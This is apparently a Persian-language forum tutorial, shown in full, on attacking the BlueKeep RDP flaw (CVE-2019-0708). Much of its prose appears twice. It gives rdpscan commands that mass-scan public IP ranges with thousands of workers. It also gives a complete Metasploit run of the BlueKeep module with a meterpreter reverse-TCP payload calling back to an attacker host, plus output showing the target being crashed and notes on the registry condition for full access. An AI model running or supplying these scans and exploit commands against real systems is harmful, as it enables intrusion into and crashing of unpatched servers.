BlueKeep یا همان صفحه خطای آبی رنگ در ویندوز CVE-2019-0708 یک آسیب پذیری امنیتی در Microsoft's Remote Desktop Protocol میباشد . اولین ریپورت این آسیب پذیری در تاریخ May 2019 بود و در حال حاضر بیشتر تارگت های آسیب پذیر از این نوع باگ پچ شده اند . اما هنوز هم تارگت های آسیب پذیر برای این حمله موجود میباشند .
Remote Desktop Protocol (RDP) اجازه ارتباطات بسیاری و اثرات متقابل بین کلاینت و سرور قبل از اتصال کاربر به RDP را میدهد . و این دقیقاً همان چیزی است که BlueKeep در اوایل تابستان از آن برای حملات استفاده کرد . RDP صفحه ورود GUI از راه دور را در سیستم عامل ارائه می دهد که در آن کاربر می تواند نام کاربری و رمز ورود خود را وارد کند و یک اتصال موفق به سرور ویندوزی خود داشته باشد ، در هنگام تنظیم session آسیب پذیری BlueKeep سعی در اکسپلویت کردن در هسته اصلی را دارد تا بتواند سرور را فریب دهد .
این حمله پیچیده است ، اما پیش شرط خاصی به جز دارا بودن سیستم عامل ویندوز 7 یا 2008 R2 وصله نشده با RDP (معمولاً TCP 3389) قابل دسترسی برای یک مهاجم از راه دور بیشتر نیاز ندارد .
در این تاپیک خواهیم دید ک چگونه به یه سرور متصل میشویم و ماشین راه انداز را از کار می اندازیم ، پیش نیاز های این تست به شرح زیر میباشد :
پیدا کردن آسیب پذیری از طریق استفاده از ابزار RDPSCAN :
RDPScan را روی Ubuntu/Debian و سایر توزیع های میتوانید نصب کنید :
زمانی که RDPScan با موفقیت نصب شد برای اسکن شبکه به طریق زیر عمل میکنیم :
در دستور زیر ما یک رنج ip را از 1تا255 مورد اسکن قرار دادیم تا اگر سرور RDP موجود بود و همچنین آسیب پذیر بود به ما گزارش دهد .
همینطور میتوانیم ساب نت را نیز اسکن نمائیم :
خروجی اسکن :
همانطور که مشاهده میکنید سه نتیجه برای هر آدرس اسکن تولید شده :
وقتی چیزی در آدرس IP هدف وجود ندارد ، , پیام "UNKNOWN - connection timed out" را چاپ می کنند. هنگام اسکن شبکه های بزرگ ، این امر باعث دریافت اطلاعات در مورد سرور های موجود و آسیب پذیر به شما میدهد .
با افزایش تعداد اهداف می توانید سرعت اسکن شبکه های بزرگ را افزایش دهید:
راه اندازی حمله :
اگر اینجا بایستید ، مطمئناً برای باز کردن کنسول Metasploit برای آزمایش این آسیب پذیری و دریافت نتیجه بی تاب خواهید بود. ما برای اولین بار با استفاده از گزینه های معمول زیر ، Exploit را اجرا خواهیم کرد تا ببینیم چه چیزی در ماشین مجازی قربانی ما اتفاق می افتد.
در پیکربندی فوق ، دستگاه قربانی به این صورت ارجاع می شود 192.168.1.105 و از ماشین مهاجم به عنوان 192.168.1.102 یاد می شود ، ما از reverse TCP payload که برای ماشین مجازی ویندوز ساخته شده است استفاده میکنیم و هدف را برابر مقدار 1 قرار میدهیم .
در نهایت خروجی زیر را دریافت میکنیم :
بسیار عالی ، اکسپلویت ما ما موفقیت بر وری هدف اجرا شد ، اما هنوز توان اجرای meterpreter را نداریم . تنها میتوانیم سیستم قربانی را crash کنیم و از کار بیندازیم در صورتی که قربانی آنلاین باشد یا به سرور متصل شود به پیغام BlueScreen برخورد میکند .
اکسپلویت کردن BLUEKEEP :
همانطور که در صفحه Github پروژه توضیح داده شده است:
ماژول در حال حاضر به عنوان راهنمای کاربر رتبه بندی می شود ، کاربر باید اطلاعات اضافی هدف را ارائه دهد و یا تارگت را crash کند. ماژول یک گزینه پیش فرضfingerprint-only TARGET را پیاده سازی می کند که فقط یک میزبان آسیب پذیر را بررسی می کند و برخی از اطلاعات اولیه در مورد سیستم عامل هدف را نشان می دهد ، اما کاربر باید یک هدف دقیق تر را بر اساس توافق تا بهبودهای بعدی مشخص کند این ماژول میتواند در تعیین دقیق تر حافظه هسته هدف در زمان اجرا بسیار مفید عمل نماید .
بسیار خوب بر اساس داده های دریافتی از klaus.hohenpoelz.de محقق این باگ ، شما در این مرحله شروع به بررسی اولین شماره خود خواهید کرد! به فایل cve_2019_0708_bluekeep_rce.rb در تصویر زیر دقت کنید :
ویرایش تنظیمات FDISABLECAM
با توجه به اکسپلویت موجود ، در حال حاضر فقط درصورتی که کلید fDisableCam روی صفر تنظیم شود کار می کند و مشکل اصلی این است که اگر کلید رجیستری همچنان تنظیمات پیش فرض را داشته باشد ، ما نمی توانیم از آن دسترسی کامل بگیریم .
ادامه دارد ....
کد:
Microsoft issued a security patch on 14 May 2019. On 13 August 2019, related BlueKeep security vulnerabilities, collectively named DejaBlue, were reported to affect newer Windows versions, including Windows 7 and all recent versions up to Windows 10 of the operating system, as well as the older Windows versions.
این حمله پیچیده است ، اما پیش شرط خاصی به جز دارا بودن سیستم عامل ویندوز 7 یا 2008 R2 وصله نشده با RDP (معمولاً TCP 3389) قابل دسترسی برای یک مهاجم از راه دور بیشتر نیاز ندارد .
در این تاپیک خواهیم دید ک چگونه به یه سرور متصل میشویم و ماشین راه انداز را از کار می اندازیم ، پیش نیاز های این تست به شرح زیر میباشد :
کد:
VirtualBox 5 or 6 which will host the vulnerable Windows Server. A Vulnerable Windows Image Disk (You can download the Windows 2008 R2 in the official download page). A Linux machine along with Metasploit installed (It can be a physical or a virtual machine). RDPScan which will be used to scan our network and detect the CVE-2019-0708 vulnerability. Rekall Memory Forensics which will be used to extract NPP address from RAM dump.
RDPScan را روی Ubuntu/Debian و سایر توزیع های میتوانید نصب کنید :
کد:
git clone https://github.com/robertdavidgraham/rdpscan cd rdpscan sudo make
در دستور زیر ما یک رنج ip را از 1تا255 مورد اسکن قرار دادیم تا اگر سرور RDP موجود بود و همچنین آسیب پذیر بود به ما گزارش دهد .
کد:
./rdpscan 182.253.0.1-182.253.255.255
کد:
./rdpscan 182.253.0.0/24
همانطور که مشاهده میکنید سه نتیجه برای هر آدرس اسکن تولید شده :
کد:
SAFE - If the target has determined bot be patched or at least require CredSSP/NLA VULNERABLE - If the target has been confirmed to be vulnerable UNKNOWN - If the target doesn't respond or has some protocol failure
وقتی چیزی در آدرس IP هدف وجود ندارد ، , پیام "UNKNOWN - connection timed out" را چاپ می کنند. هنگام اسکن شبکه های بزرگ ، این امر باعث دریافت اطلاعات در مورد سرور های موجود و آسیب پذیر به شما میدهد .
با افزایش تعداد اهداف می توانید سرعت اسکن شبکه های بزرگ را افزایش دهید:
کد:
rdpscan --workers 10000 182.253.0.0/24
اگر اینجا بایستید ، مطمئناً برای باز کردن کنسول Metasploit برای آزمایش این آسیب پذیری و دریافت نتیجه بی تاب خواهید بود. ما برای اولین بار با استفاده از گزینه های معمول زیر ، Exploit را اجرا خواهیم کرد تا ببینیم چه چیزی در ماشین مجازی قربانی ما اتفاق می افتد.
کد:
msfconsole msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options [...] msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set RHOSTS 192.168.1.105 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set LHOST 192.168.1.102 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set LPORT 4444 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets [...] msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set TARGET 2 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
در نهایت خروجی زیر را دریافت میکنیم :
کد:
[*] Started reverse TCP handler on 192.168.1.102:4444 [+] 192.168.1.105:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.[*] 192.168.1.105:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8013200000, Channel count 1.[*] 192.168.1.105:3389 - Surfing channels ...[*] 192.168.1.105:3389 - Lobbing eggs ...[*] 192.168.1.105:3389 - Forcing the USE of FREE\'d object ...[*] Exploit completed, but no session was created. msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
اکسپلویت کردن BLUEKEEP :
همانطور که در صفحه Github پروژه توضیح داده شده است:
ماژول در حال حاضر به عنوان راهنمای کاربر رتبه بندی می شود ، کاربر باید اطلاعات اضافی هدف را ارائه دهد و یا تارگت را crash کند. ماژول یک گزینه پیش فرضfingerprint-only TARGET را پیاده سازی می کند که فقط یک میزبان آسیب پذیر را بررسی می کند و برخی از اطلاعات اولیه در مورد سیستم عامل هدف را نشان می دهد ، اما کاربر باید یک هدف دقیق تر را بر اساس توافق تا بهبودهای بعدی مشخص کند این ماژول میتواند در تعیین دقیق تر حافظه هسته هدف در زمان اجرا بسیار مفید عمل نماید .
بسیار خوب بر اساس داده های دریافتی از klaus.hohenpoelz.de محقق این باگ ، شما در این مرحله شروع به بررسی اولین شماره خود خواهید کرد! به فایل cve_2019_0708_bluekeep_rce.rb در تصویر زیر دقت کنید :
ویرایش تنظیمات FDISABLECAM
با توجه به اکسپلویت موجود ، در حال حاضر فقط درصورتی که کلید fDisableCam روی صفر تنظیم شود کار می کند و مشکل اصلی این است که اگر کلید رجیستری همچنان تنظیمات پیش فرض را داشته باشد ، ما نمی توانیم از آن دسترسی کامل بگیریم .
ادامه دارد ....
نظر